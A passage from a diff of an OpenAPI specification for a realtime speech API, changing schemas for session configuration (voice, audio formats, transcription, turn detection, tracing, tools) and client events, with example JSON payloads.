+ - gpt-audio-mini-2025-10-06
+ - gpt-audio-mini-2025-12-15
+ instructions:
+ type: string
+ description: |
+ The default system instructions (i.e. system message) prepended to model
+ calls. This field allows the client to guide the model on desired
+ responses. The model can be instructed on response content and format,
+ (e.g. "be extremely succinct", "act friendly", "here are examples of good
+ responses") and on audio behavior (e.g. "talk quickly", "inject emotion
+ into your voice", "laugh frequently"). The instructions are not
+ guaranteed to be followed by the model, but they provide guidance to the
+ model on the desired behavior.
+
+
+ Note that the server sets default instructions which will be used if this
+ field is not set and are visible in the `session.created` event at the
+ start of the session.
+ voice:
+ $ref: '#/components/schemas/VoiceIdsShared'
+ description: |
+ The voice the model uses to respond. Voice cannot be changed during the
+ session once the model has responded with audio at least once. Current
+ voice options are `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`,
+ `shimmer`, and `verse`.
+ input_audio_format:
+ type: string
+ default: pcm16
+ enum:
+ - pcm16
+ - g711_ulaw
+ - g711_alaw
+ description: |
+ The format of input audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
+ For `pcm16`, input audio must be 16-bit PCM at a 24kHz sample rate,
+ single channel (mono), and little-endian byte order.
+ output_audio_format:
+ type: string
+ default: pcm16
+ enum:
+ - pcm16
+ - g711_ulaw
+ - g711_alaw
+ description: |
+ The format of output audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
+ For `pcm16`, output audio is sampled at a rate of 24kHz.
+ input_audio_transcription:
+ anyOf:
+ - allOf:
+ - $ref: '#/components/schemas/AudioTranscription'
+ description: |
+ Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
+ - type: 'null'
+ turn_detection:
+ $ref: '#/components/schemas/RealtimeTurnDetection'
+ input_audio_noise_reduction:
+ type: object
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ description: |
+ Configuration for input audio noise reduction. This can be set to `null` to turn off.
+ Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
+ Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
+ speed:
+ type: number
+ default: 1
+ maximum: 1.5
+ minimum: 0.25
+ description: |
+ The speed of the model's spoken response. 1.0 is the default speed. 0.25 is
+ the minimum speed. 1.5 is the maximum speed. This value can only be changed
+ in between model turns, not while a response is in progress.
+ tracing:
+ anyOf:
+ - title: Tracing Configuration
+ description: |
+ Configuration options for tracing. Set to null to disable tracing. Once
+ tracing is enabled for a session, the configuration cannot be modified.
+
+ `auto` will create a trace for the session with default values for the
+ workflow name, group id, and metadata.
+ anyOf:
+ - type: string
+ default: auto
+ description: |
+ Default tracing mode for the session.
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: object
+ title: Tracing Configuration
+ description: |
+ Granular configuration for tracing.
+ properties:
+ workflow_name:
+ type: string
+ description: |
+ The name of the workflow to attach to this trace. This is used to
+ name the trace in the traces dashboard.
+ group_id:
+ type: string
+ description: |
+ The group id to attach to this trace to enable filtering and
+ grouping in the traces dashboard.
+ metadata:
+ type: object
+ description: |
+ The arbitrary metadata to attach to this trace to enable
+ filtering in the traces dashboard.
+ - type: 'null'
+ tools:
+ type: array
+ description: Tools (functions) available to the model.
+ items:
+ $ref: '#/components/schemas/RealtimeFunctionTool'
+ tool_choice:
+ type: string
+ default: auto
+ description: |
+ How the model chooses tools. Options are `auto`, `none`, `required`, or
+ specify a function.
+ temperature:
+ type: number
+ default: 0.8
+ description: |
+ Sampling temperature for the model, limited to [0.6, 1.2]. For audio models a temperature of 0.8 is highly recommended for best performance.
+ max_response_output_tokens:
+ description: |
+ Maximum number of output tokens for a single assistant response,
+ inclusive of tool calls. Provide an integer between 1 and 4096 to
+ limit output tokens, or `inf` for the maximum available tokens for a
+ given model. Defaults to `inf`.
+ anyOf:
+ - type: integer
+ - type: string
+ enum:
+ - inf
+ x-stainless-const: true
+ expires_at:
+ type: integer
+ format: unixtime
+ description: Expiration timestamp for the session, in seconds since epoch.
+ prompt:
+ anyOf:
+ - $ref: '#/components/schemas/Prompt'
+ - type: 'null'
+ include:
+ anyOf:
+ - type: array
+ items:
+ type: string
+ enum:
+ - item.input_audio_transcription.logprobs
+ description: |
+ Additional fields to include in server outputs.
+ - `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
+ - type: 'null'
+ RealtimeSessionCreateRequest:
+ type: object
+ description: |
+ A new Realtime session configuration, with an ephemeral key. Default TTL
+ for keys is one minute.
+ properties:
+ client_secret:
+ type: object
+ description: Ephemeral key returned by the API.
+ properties:
+ value:
+ type: string
+ description: |
+ Ephemeral key usable in client environments to authenticate connections
+ to the Realtime API. Use this in client-side environments rather than
+ a standard API token, which should only be used server-side.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: |
+ Timestamp for when the token expires. Currently, all tokens expire
+ after one minute.
+ required:
+ - value
+ - expires_at
+ modalities:
+ description: |
+ The set of modalities the model can respond with. To disable audio,
+ set this to ["text"].
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ instructions:
+ type: string
+ description: |
+ The default system instructions (i.e. system message) prepended to model calls. This field allows the client to guide the model on desired responses. The model can be instructed on response content and format, (e.g. "be extremely succinct", "act friendly", "here are examples of good responses") and on audio behavior (e.g. "talk quickly", "inject emotion into your voice", "laugh frequently"). The instructions are not guaranteed to be followed by the model, but they provide guidance to the model on the desired behavior.
+ Note that the server sets default instructions which will be used if this field is not set and are visible in the `session.created` event at the start of the session.
+ voice:
+ $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
+ description: |
+ The voice the model uses to respond. Supported built-in voices are
+ `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`, `shimmer`, `verse`,
+ `marin`, and `cedar`. You may also provide a custom voice object with an
+ `id`, for example `{ "id": "voice_1234" }`. Voice cannot be changed during
+ the session once the model has responded with audio at least once.
+ input_audio_format:
+ type: string
+ description: |
+ The format of input audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
+ output_audio_format:
+ type: string
+ description: |
+ The format of output audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
+ input_audio_transcription:
+ type: object
+ description: |
+ Configuration for input audio transcription, defaults to off and can be
+ set to `null` to turn off once on. Input audio transcription is not native
+ to the model, since the model consumes audio directly. Transcription runs
+ asynchronously and should be treated as rough guidance
+ rather than the representation understood by the model.
+ properties:
+ model:
+ type: string
+ description: |
+ The model to use for transcription.
+ speed:
+ type: number
+ default: 1
+ maximum: 1.5
+ minimum: 0.25
+ description: |
+ The speed of the model's spoken response. 1.0 is the default speed. 0.25 is
+ the minimum speed. 1.5 is the maximum speed. This value can only be changed
+ in between model turns, not while a response is in progress.
+ tracing:
+ title: Tracing Configuration
+ description: |
+ Configuration options for tracing. Set to null to disable tracing. Once
+ tracing is enabled for a session, the configuration cannot be modified.
+
+ `auto` will create a trace for the session with default values for the
+ workflow name, group id, and metadata.
+ anyOf:
+ - type: string
+ default: auto
+ description: |
+ Default tracing mode for the session.
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: object
+ title: Tracing Configuration
+ description: |
+ Granular configuration for tracing.
+ properties:
+ workflow_name:
+ type: string
+ description: |
+ The name of the workflow to attach to this trace. This is used to
+ name the trace in the traces dashboard.
+ group_id:
+ type: string
+ description: |
+ The group id to attach to this trace to enable filtering and
+ grouping in the traces dashboard.
+ metadata:
+ type: object
+ description: |
+ The arbitrary metadata to attach to this trace to enable
+ filtering in the traces dashboard.
+ turn_detection:
+ type: object
+ description: |
+ Configuration for turn detection. Can be set to `null` to turn off. Server
+ VAD means that the model will detect the start and end of speech based on
+ audio volume and respond at the end of user speech.
+ properties:
+ type:
+ type: string
+ description: |
+ Type of turn detection, only `server_vad` is currently supported.
+ threshold:
+ type: number
+ description: |
+ Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
+ higher threshold will require louder audio to activate the model, and
+ thus might perform better in noisy environments.
+ prefix_padding_ms:
+ type: integer
+ description: |
+ Amount of audio to include before the VAD detected speech (in
+ milliseconds). Defaults to 300ms.
+ silence_duration_ms:
+ type: integer
+ description: |
+ Duration of silence to detect speech stop (in milliseconds). Defaults
+ to 500ms. With shorter values the model will respond more quickly,
+ but may jump in on short pauses from the user.
+ tools:
+ type: array
+ description: Tools (functions) available to the model.
+ items:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - function
+ description: The type of the tool, i.e. `function`.
+ x-stainless-const: true
+ name:
+ type: string
+ description: The name of the function.
+ description:
+ type: string
+ description: |
+ The description of the function, including guidance on when and how
+ to call it, and guidance about what to tell the user when calling
+ (if anything).
+ parameters:
+ type: object
+ description: Parameters of the function in JSON Schema.
+ tool_choice:
type: string
- description: "Base64-encoded audio bytes. This must be in the format specified by the \n`input_audio_format` field in the session configuration.\n"
+ description: |
+ How the model chooses tools. Options are `auto`, `none`, `required`, or
+ specify a function.
+ temperature:
+ type: number
+ description: |
+ Sampling temperature for the model, limited to [0.6, 1.2]. Defaults to 0.8.
+ max_response_output_tokens:
+ description: |
+ Maximum number of output tokens for a single assistant response,
+ inclusive of tool calls. Provide an integer between 1 and 4096 to
+ limit output tokens, or `inf` for the maximum available tokens for a
+ given model. Defaults to `inf`.
+ anyOf:
+ - type: integer
+ - type: string
+ enum:
+ - inf
+ x-stainless-const: true
+ truncation:
+ $ref: '#/components/schemas/RealtimeTruncation'
+ prompt:
+ $ref: '#/components/schemas/Prompt'
required:
- - type
- - audio
+ - client_secret
x-oaiMeta:
- name: input_audio_buffer.append
+ name: The session object
group: realtime
example: |
{
- "event_id": "event_456",
- "type": "input_audio_buffer.append",
- "audio": "Base64EncodedAudioData"
+ "id": "sess_001",
+ "object": "realtime.session",
+ "model": "gpt-realtime-2025-08-25",
+ "modalities": ["audio", "text"],
+ "instructions": "You are a friendly assistant.",
+ "voice": "alloy",
+ "input_audio_format": "pcm16",
+ "output_audio_format": "pcm16",
+ "input_audio_transcription": {
+ "model": "whisper-1"
+ },
+ "turn_detection": null,
+ "tools": [],
+ "tool_choice": "none",
+ "temperature": 0.7,
+ "speed": 1.1,
+ "tracing": "auto",
+ "max_response_output_tokens": 200,
+ "truncation": "auto",
+ "prompt": null,
+ "client_secret": {
+ "value": "ek_abc123",
+ "expires_at": 1234567890
+ }
}
- RealtimeClientEventInputAudioBufferClear:
+ RealtimeSessionCreateRequestGA:
type: object
- description: "Send this event to clear the audio bytes in the buffer. The server will \nrespond with an `input_audio_buffer.cleared` event.\n"
+ title: Realtime session configuration
+ description: Realtime session object configuration.
properties:
- event_id:
- type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
type:
- x-stainless-const: true
- description: The event type, must be `input_audio_buffer.clear`.
- const: input_audio_buffer.clear
- required:
- - type
- x-oaiMeta:
- name: input_audio_buffer.clear
- group: realtime
- example: |
- {
- "event_id": "event_012",
- "type": "input_audio_buffer.clear"
- }
- RealtimeClientEventInputAudioBufferCommit:
- type: object
- description: |
- Send this event to commit the user input audio buffer, which will create a new user message item in the conversation. This event will produce an error if the input audio buffer is empty. When in Server VAD mode, the client does not need to send this event, the server will commit the audio buffer automatically.
-
- Committing the input audio buffer will trigger input audio transcription (if enabled in session configuration), but it will not create a response from the model. The server will respond with an `input_audio_buffer.committed` event.
- properties:
- event_id:
type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
- type:
+ description: |
+ The type of session to create. Always `realtime` for the Realtime API.
+ enum:
+ - realtime
x-stainless-const: true
- description: The event type, must be `input_audio_buffer.commit`.
- const: input_audio_buffer.commit
+ output_modalities:
+ type: array
+ description: |
+ The set of modalities the model can respond with. It defaults to `["audio"]`, indicating
+ that the model will respond with audio plus a transcript. `["text"]` can be used to make
+ the model respond with text only. It is not possible to request both `text` and `audio` at the same time.
+ default:
+ - audio
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ model:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - gpt-realtime
+ - gpt-realtime-1.5
+ - gpt-realtime-2
+ - gpt-realtime-2.1
+ - gpt-realtime-2.1-mini
+ - gpt-realtime-2025-08-28
+ - gpt-4o-realtime-preview
+ - gpt-4o-realtime-preview-2024-10-01
+ - gpt-4o-realtime-preview-2024-12-17
+ - gpt-4o-realtime-preview-2025-06-03
+ - gpt-4o-mini-realtime-preview
+ - gpt-4o-mini-realtime-preview-2024-12-17
+ - gpt-realtime-mini
+ - gpt-realtime-mini-2025-10-06
+ - gpt-realtime-mini-2025-12-15
+ - gpt-audio-1.5
+ - gpt-audio-mini
+ - gpt-audio-mini-2025-10-06
+ - gpt-audio-mini-2025-12-15
+ x-stainless-nominal: false
+ description: |
+ The Realtime model used for this session.
+ instructions:
+ type: string
+ description: |
+ The default system instructions (i.e. system message) prepended to model calls. This field allows the client to guide the model on desired responses. The model can be instructed on response content and format, (e.g. "be extremely succinct", "act friendly", "here are examples of good responses") and on audio behavior (e.g. "talk quickly", "inject emotion into your voice", "laugh frequently"). The instructions are not guaranteed to be followed by the model, but they provide guidance to the model on the desired behavior.
+
+ Note that the server sets default instructions which will be used if this field is not set and are visible in the `session.created` event at the start of the session.
+ audio:
+ type: object
+ description: |
+ Configuration for input and output audio.
+ properties:
+ input:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ description: The format of the input audio.
+ transcription:
+ description: |
+ Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
+ $ref: '#/components/schemas/AudioTranscription'
+ noise_reduction:
+ type: object
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ description: |
+ Configuration for input audio noise reduction. This can be set to `null` to turn off.
+ Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
+ Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
+ turn_detection:
+ $ref: '#/components/schemas/RealtimeTurnDetection'
+ output:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ description: The format of the output audio.
+ voice:
+ $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
+ default: alloy
+ description: |
+ The voice the model uses to respond. Supported built-in voices are
+ `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`, `shimmer`, `verse`,
+ `marin`, and `cedar`. You may also provide a custom voice object with
+ an `id`, for example `{ "id": "voice_1234" }`. Voice cannot be changed
+ during the session once the model has responded with audio at least once.
+ We recommend `marin` and `cedar` for best quality.
+ speed:
+ type: number
+ default: 1
+ maximum: 1.5
+ minimum: 0.25
+ description: |
+ The speed of the model's spoken response as a multiple of the original speed.
+ 1.0 is the default speed. 0.25 is the minimum speed. 1.5 is the maximum speed. This value can only be changed in between model turns, not while a response is in progress.
+
+ This parameter is a post-processing adjustment to the audio after it is generated, it's
+ also possible to prompt the model to speak faster or slower.
+ include:
+ type: array
+ items:
+ type: string
+ enum:
+ - item.input_audio_transcription.logprobs
+ description: |
+ Additional fields to include in server outputs.
+
+ `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
+ tracing:
+ title: Tracing Configuration
+ anyOf:
+ - type: string
+ title: auto
+ default: auto
+ description: |
+ Enables tracing and sets default values for tracing configuration options. Always `auto`.
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: object
+ title: Tracing Configuration
+ description: |
+ Granular configuration for tracing.
+ properties:
+ workflow_name:
+ type: string
+ description: |
+ The name of the workflow to attach to this trace. This is used to
+ name the trace in the Traces Dashboard.
+ group_id:
+ type: string
+ description: |
+ The group id to attach to this trace to enable filtering and
+ grouping in the Traces Dashboard.
+ metadata:
+ type: object
+ description: |
+ The arbitrary metadata to attach to this trace to enable
+ filtering in the Traces Dashboard.
+ description: |
+ Realtime API can write session traces to the [Traces Dashboard](https://platform.openai.com/logs?api=traces). Set to null to disable tracing. Once
+ tracing is enabled for a session, the configuration cannot be modified.
+
+ `auto` will create a trace for the session with default values for the
+ workflow name, group id, and metadata.
+ nullable: true
+ tools:
+ type: array
+ description: Tools available to the model.
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeFunctionTool'
+ - $ref: '#/components/schemas/MCPTool'
+ discriminator:
+ propertyName: type
+ tool_choice:
+ description: |
+ How the model chooses tools. Provide one of the string modes or force a specific
+ function/MCP tool.
+ default: auto
+ anyOf:
+ - $ref: '#/components/schemas/ToolChoiceOptions'
+ - $ref: '#/components/schemas/ToolChoiceFunction'
+ - $ref: '#/components/schemas/ToolChoiceMCP'
+ parallel_tool_calls:
+ type: boolean
+ description: |
+ Whether the model may call multiple tools in parallel. Only supported by
+ reasoning Realtime models such as `gpt-realtime-2`.
+ reasoning:
+ $ref: '#/components/schemas/RealtimeReasoning'
+ max_output_tokens:
+ description: |
+ Maximum number of output tokens for a single assistant response,
+ inclusive of tool calls. Provide an integer between 1 and 4096 to
+ limit output tokens, or `inf` for the maximum available tokens for a
+ given model. Defaults to `inf`.
+ anyOf:
+ - type: integer
+ - type: string
+ enum:
+ - inf
+ x-stainless-const: true
+ truncation:
+ $ref: '#/components/schemas/RealtimeTruncation'
+ prompt:
+ $ref: '#/components/schemas/Prompt'
required:
- type
- x-oaiMeta:
- name: input_audio_buffer.commit
- group: realtime
- example: |
- {
- "event_id": "event_789",
- "type": "input_audio_buffer.commit"
- }
- RealtimeClientEventOutputAudioBufferClear:
+ RealtimeSessionCreateResponse:
type: object
+ title: Realtime session configuration object
description: |
- **WebRTC/SIP Only:** Emit to cut off the current audio response. This will trigger the server to
- stop generating audio and emit a `output_audio_buffer.cleared` event. This
- event should be preceded by a `response.cancel` client event to stop the
- generation of the current response.
- [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ A Realtime session configuration object.
properties:
- event_id:
+ id:
type: string
- description: The unique ID of the client event used for error handling.
- type:
- x-stainless-const: true
- description: The event type, must be `output_audio_buffer.clear`.
- const: output_audio_buffer.clear
- required:
- - type
- x-oaiMeta:
- name: output_audio_buffer.clear
- group: realtime
- example: |
- {
- "event_id": "optional_client_event_id",
- "type": "output_audio_buffer.clear"
- }
- RealtimeClientEventResponseCancel:
- type: object
- description: "Send this event to cancel an in-progress response. The server will respond \nwith a `response.done` event with a status of `response.status=cancelled`. If \nthere is no response to cancel, the server will respond with an error. It's safe\nto call `response.cancel` even if no response is in progress, an error will be\nreturned the session will remain unaffected.\n"
- properties:
- event_id:
+ description: |
+ Unique identifier for the session that looks like `sess_1234567890abcdef`.
+ object:
type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `response.cancel`.
- const: response.cancel
- response_id:
+ description: The object type. Always `realtime.session`.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: Expiration timestamp for the session, in seconds since epoch.
+ include:
+ type: array
+ items:
+ type: string
+ enum:
+ - item.input_audio_transcription.logprobs
+ description: |
+ Additional fields to include in server outputs.
+ - `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
+ model:
type: string
- description: "A specific response ID to cancel - if not provided, will cancel an \nin-progress response in the default conversation.\n"
- required:
- - type
- x-oaiMeta:
- name: response.cancel
- group: realtime
- example: |
- {
- "type": "response.cancel",
- "response_id": "resp_12345"
- }
- RealtimeClientEventResponseCreate:
- type: object
- description: "This event instructs the server to create a Response, which means triggering \nmodel inference. When in Server VAD mode, the server will create Responses \nautomatically.\n\nA Response will include at least one Item, and may have two, in which case \nthe second will be a function call. These Items will be appended to the \nconversation history by default.\n\nThe server will respond with a `response.created` event, events for Items \nand content created, and finally a `response.done` event to indicate the \nResponse is complete.\n\nThe `response.create` event includes inference configuration like \n`instructions` and `tools`. If these are set, they will override the Session's \nconfiguration for this Response only.\n\nResponses can be created out-of-band of the default Conversation, meaning that they can\nhave arbitrary input, and it's possible to disable writing the output to the Conversation.\nOnly one Response can write to the default Conversation at a time, but otherwise multiple\nResponses can be created in parallel. The `metadata` field is a good way to disambiguate\nmultiple simultaneous Responses.\n\nClients can set `conversation` to `none` to create a Response that does not write to the default\nConversation. Arbitrary input can be provided with the `input` field, which is an array accepting\nraw Items and references to existing Items.\n"
- properties:
- event_id:
+ description: The Realtime model used for this session.
+ output_modalities:
+ description: |
+ The set of modalities the model can respond with. To disable audio,
+ set this to ["text"].
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ instructions:
type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `response.create`.
- const: response.create
- response:
- $ref: '#/components/schemas/RealtimeResponseCreateParams'
- required:
- - type
- x-oaiMeta:
- name: response.create
- group: realtime
- example: |
- // Trigger a response with the default Conversation and no special parameters
- {
- "type": "response.create",
- }
+ description: |
+ The default system instructions (i.e. system message) prepended to model
+ calls. This field allows the client to guide the model on desired
+ responses. The model can be instructed on response content and format,
+ (e.g. "be extremely succinct", "act friendly", "here are examples of good
+ responses") and on audio behavior (e.g. "talk quickly", "inject emotion
+ into your voice", "laugh frequently"). The instructions are not guaranteed
+ to be followed by the model, but they provide guidance to the model on the
+ desired behavior.
- // Trigger an out-of-band response that does not write to the default Conversation
- {
- "type": "response.create",
- "response": {
- "instructions": "Provide a concise answer.",
- "tools": [], // clear any session tools
- "conversation": "none",
- "output_modalities": ["text"],
- "metadata": {
- "response_purpose": "summarization"
- },
- "input": [
- {
- "type": "item_reference",
- "id": "item_12345"
- },
- {
- "type": "message",
- "role": "user",
- "content": [
- {
- "type": "input_text",
- "text": "Summarize the above message in one sentence."
- }
- ]
- }
- ]
- }
- }
- RealtimeClientEventSessionUpdate:
- type: object
- description: |
- Send this event to update the session’s configuration.
- The client may send this event at any time to update any field
- except for `voice` and `model`. `voice` can be updated only if there have been no other audio outputs yet.
+ Note that the server sets default instructions which will be used if this
+ field is not set and are visible in the `session.created` event at the
+ start of the session.
+ audio:
+ type: object
+ description: |
+ Configuration for input and output audio for the session.
+ properties:
+ input:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ transcription:
+ $ref: '#/components/schemas/AudioTranscription'
+ noise_reduction:
+ type: object
+ description: |
+ Configuration for input audio noise reduction.
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ turn_detection:
+ type: object
+ description: |
+ Configuration for turn detection.
+ properties:
+ type:
+ type: string
+ description: |
+ Type of turn detection, only `server_vad` is currently supported.
+ threshold:
+ type: number
+ prefix_padding_ms:
+ type: integer
+ silence_duration_ms:
+ type: integer
+ output:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ voice:
+ $ref: '#/components/schemas/VoiceIdsShared'
+ speed:
+ type: number
+ tracing:
+ title: Tracing Configuration
+ description: |
+ Configuration options for tracing. Set to null to disable tracing. Once
+ tracing is enabled for a session, the configuration cannot be modified.
- When the server receives a `session.update`, it will respond
- with a `session.updated` event showing the full, effective configuration.
- Only the fields that are present in the `session.update` are updated. To clear a field like
- `instructions`, pass an empty string. To clear a field like `tools`, pass an empty array.
- To clear a field like `turn_detection`, pass `null`.
- properties:
- event_id:
- type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event. This is an arbitrary string that a client may assign. It will be passed back if there is an error with the event, but the corresponding `session.updated` event will not include it.
- type:
- x-stainless-const: true
- description: The event type, must be `session.update`.
- const: session.update
- session:
+ `auto` will create a trace for the session with default values for the
+ workflow name, group id, and metadata.
+ anyOf:
+ - type: string
+ default: auto
+ description: |
+ Default tracing mode for the session.
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: object
+ title: Tracing Configuration
+ description: |
+ Granular configuration for tracing.
+ properties:
+ workflow_name:
+ type: string
+ description: |
+ The name of the workflow to attach to this trace. This is used to
+ name the trace in the traces dashboard.
+ group_id:
+ type: string
+ description: |
+ The group id to attach to this trace to enable filtering and
+ grouping in the traces dashboard.
+ metadata:
+ type: object
+ description: |
+ The arbitrary metadata to attach to this trace to enable
+ filtering in the traces dashboard.
+ turn_detection:
type: object
description: |
- Update the Realtime session. Choose either a realtime
- session or a transcription session.
- anyOf:
- - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
- - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequestGA'
- required:
- - type
- - session
- x-oaiMeta:
- name: session.update
- group: realtime
- example: |
- {
- "type": "session.update",
- "session": {
- "type": "realtime",
- "instructions": "You are a creative assistant that helps with design tasks.",
- "tools": [
- {
- "type": "function",
- "name": "display_color_palette",
- "description": "Call this function when a user asks for a color palette.",
- "parameters": {
- "type": "object",
- "properties": {
- "theme": {
- "type": "string",
- "description": "Description of the theme for the color scheme."
- },
- "colors": {
- "type": "array",
- "description": "Array of five hex color codes based on the theme.",
- "items": {
- "type": "string",
- "description": "Hex color code"
- }
- }
- },
- "required": [
- "theme",
- "colors"
- ]
- }
- }
- ],
- "tool_choice": "auto"
- }
- }
- RealtimeClientEventTranscriptionSessionUpdate:
- type: object
- description: |
- Send this event to update a transcription session.
- properties:
- event_id:
+ Configuration for turn detection. Can be set to `null` to turn off. Server
+ VAD means that the model will detect the start and end of speech based on
+ audio volume and respond at the end of user speech.
+ properties:
+ type:
+ type: string
+ description: |
+ Type of turn detection, only `server_vad` is currently supported.
+ threshold:
+ type: number
+ description: |
+ Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
+ higher threshold will require louder audio to activate the model, and
+ thus might perform better in noisy environments.
+ prefix_padding_ms:
+ type: integer
+ description: |
+ Amount of audio to include before the VAD detected speech (in
+ milliseconds). Defaults to 300ms.
+ silence_duration_ms:
+ type: integer
+ description: |
+ Duration of silence to detect speech stop (in milliseconds). Defaults
+ to 500ms. With shorter values the model will respond more quickly,
+ but may jump in on short pauses from the user.
+ tools:
+ type: array
+ description: Tools (functions) available to the model.
+ items:
+ $ref: '#/components/schemas/RealtimeFunctionTool'
+ tool_choice:
type: string
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `transcription_session.update`.
- const: transcription_session.update
- session:
- $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequest'
- required:
- - type
- - session
+ description: |
+ How the model chooses tools. Options are `auto`, `none`, `required`, or
+ specify a function.
+ max_output_tokens:
+ description: |
+ Maximum number of output tokens for a single assistant response,
+ inclusive of tool calls. Provide an integer between 1 and 4096 to
+ limit output tokens, or `inf` for the maximum available tokens for a
+ given model. Defaults to `inf`.
+ anyOf:
+ - type: integer
+ - type: string
+ enum:
+ - inf
+ x-stainless-const: true
x-oaiMeta:
- name: transcription_session.update
+ name: The session object
group: realtime
example: |
{
- "type": "transcription_session.update",
- "session": {
- "input_audio_format": "pcm16",
- "input_audio_transcription": {
- "model": "gpt-4o-transcribe",
- "prompt": "",
- "language": ""
- },
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 500,
- "create_response": true,
- },
- "input_audio_noise_reduction": {
- "type": "near_field"
+ "id": "sess_001",
+ "object": "realtime.session",
+ "expires_at": 1742188264,
+ "model": "gpt-realtime",
+ "output_modalities": ["audio"],
+ "instructions": "You are a friendly assistant.",
+ "tools": [],
+ "tool_choice": "none",
+ "max_output_tokens": "inf",
+ "tracing": "auto",
+ "truncation": "auto",
+ "prompt": null,
+ "audio": {
+ "input": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
+ },
+ "transcription": { "model": "whisper-1" },
+ "noise_reduction": null,
+ "turn_detection": null
},
- "include": [
- "item.input_audio_transcription.logprobs",
- ]
+ "output": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
+ },
+ "voice": "alloy",
+ "speed": 1.0
+ }
}
}
- RealtimeConversationItem:
- description: A single item within a Realtime conversation.
- anyOf:
- - $ref: '#/components/schemas/RealtimeConversationItemMessageSystem'
- - $ref: '#/components/schemas/RealtimeConversationItemMessageUser'
- - $ref: '#/components/schemas/RealtimeConversationItemMessageAssistant'
- - $ref: '#/components/schemas/RealtimeConversationItemFunctionCall'
- - $ref: '#/components/schemas/RealtimeConversationItemFunctionCallOutput'
- - $ref: '#/components/schemas/RealtimeMCPApprovalResponse'
- - $ref: '#/components/schemas/RealtimeMCPListTools'
- - $ref: '#/components/schemas/RealtimeMCPToolCall'
- - $ref: '#/components/schemas/RealtimeMCPApprovalRequest'
- discriminator:
- propertyName: type
- RealtimeConversationItemFunctionCall:
- type: object
- title: Realtime function call item
- description: A function call item in a Realtime conversation.
- properties:
- id:
- type: string
- description: The unique ID of the item. This may be provided by the client or generated by the server.
- object:
- type: string
- enum:
- - realtime.item
- description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
- x-stainless-const: true
- type:
- type: string
- enum:
- - function_call
- description: The type of the item. Always `function_call`.
- x-stainless-const: true
- status:
- type: string
- enum:
- - completed
- - incomplete
- - in_progress
- description: The status of the item. Has no effect on the conversation.
- call_id:
- type: string
- description: The ID of the function call.
- name:
- type: string
- description: The name of the function being called.
- arguments:
- type: string
- description: 'The arguments of the function call. This is a JSON-encoded string representing the arguments passed to the function, for example `{"arg1": "value1", "arg2": 42}`.'
- required:
- - type
- - name
- - arguments
- RealtimeConversationItemFunctionCallOutput:
